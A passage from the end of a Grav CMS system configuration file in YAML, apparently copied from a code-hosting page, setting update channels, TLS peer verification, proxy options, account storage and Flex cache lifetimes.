split: true
|
||||
domain: null
|
||||
path: null
|
||||
|
||||
gpm:
|
||||
releases: testing
|
||||
official_gpm_only: true
|
||||
verify_peer: true
|
||||
|
||||
updates:
|
||||
safe_upgrade: true
|
||||
http:
|
||||
method: auto
|
||||
enable_proxy: true
|
||||
proxy_url: null
|
||||
proxy_cert_path: null
|
||||
concurrent_connections: 5
|
||||
verify_peer: true
|
||||
verify_host: true
|
||||
accounts:
|
||||
type: regular
|
||||
storage: file
|
||||
avatar: gravatar
|
||||
flex:
|
||||
cache:
|
||||
index:
|
||||
enabled: true
|
||||
lifetime: 60
|
||||
object:
|
||||
enabled: true
|
||||
lifetime: 600
|
||||
render:
|
||||
enabled: true
|
||||
lifetime: 600
|
||||
strict_mode:
|
||||
yaml_compat: false
|
||||
twig_compat: false
|
||||
blueprint_compat: false
|
||||
safe_upgrade_snapshot_limit: 5
|
||||
|
||||
Reference in New Issue
Block a user